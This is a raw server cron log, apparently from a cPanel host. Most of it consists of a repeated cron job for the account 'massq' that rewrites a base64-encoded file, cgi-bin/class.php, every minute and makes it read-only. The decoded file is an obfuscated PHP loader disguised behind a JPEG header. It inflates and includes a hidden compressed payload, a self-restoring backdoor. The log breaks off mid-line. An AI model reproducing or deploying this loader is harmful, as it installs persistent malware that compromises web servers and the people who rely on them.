Nov 15 12:00:01 server CROND[14329]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 12:00:01 server CROND[14327]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 15 12:00:01 server CROND[14330]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &amp;&gt; /dev/null &amp;&amp; /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/senddigests)
Nov 15 12:00:01 server CROND[14328]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 12:00:01 server CROND[14331]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2&gt;&amp;1)
Nov 15 12:01:01 server CROND[14680]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 12:01:01 server CROND[14679]: (root) CMD (run-parts /etc/cron.hourly)
Nov 15 12:01:01 server run-parts(/etc/cron.hourly)[14679]: starting 0anacron
Nov 15 12:01:01 server run-parts(/etc/cron.hourly)[14692]: finished 0anacron
Nov 15 12:02:01 server CROND[15065]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 12:03:01 server CROND[15347]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 12:04:01 server CROND[15620]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 12:05:01 server CROND[15903]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 12:05:01 server CROND[15904]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 15 12:05:01 server CROND[15908]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 12:05:01 server CROND[15907]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 12:06:01 server CROND[16232]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 12:07:01 server CROND[16650]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 12:08:01 server CROND[16926]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 12:09:01 server CROND[17207]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 15 12:09:01 server CROND[17208]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 12:10:01 server CROND[17550]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 12:10:01 server CROND[17551]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 12:10:01 server CROND[17552]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 15 12:10:01 server CROND[17553]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 12:11:01 server CROND[17955]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 12:12:01 server CROND[18325]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 15 12:12:01 server CROND[18327]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot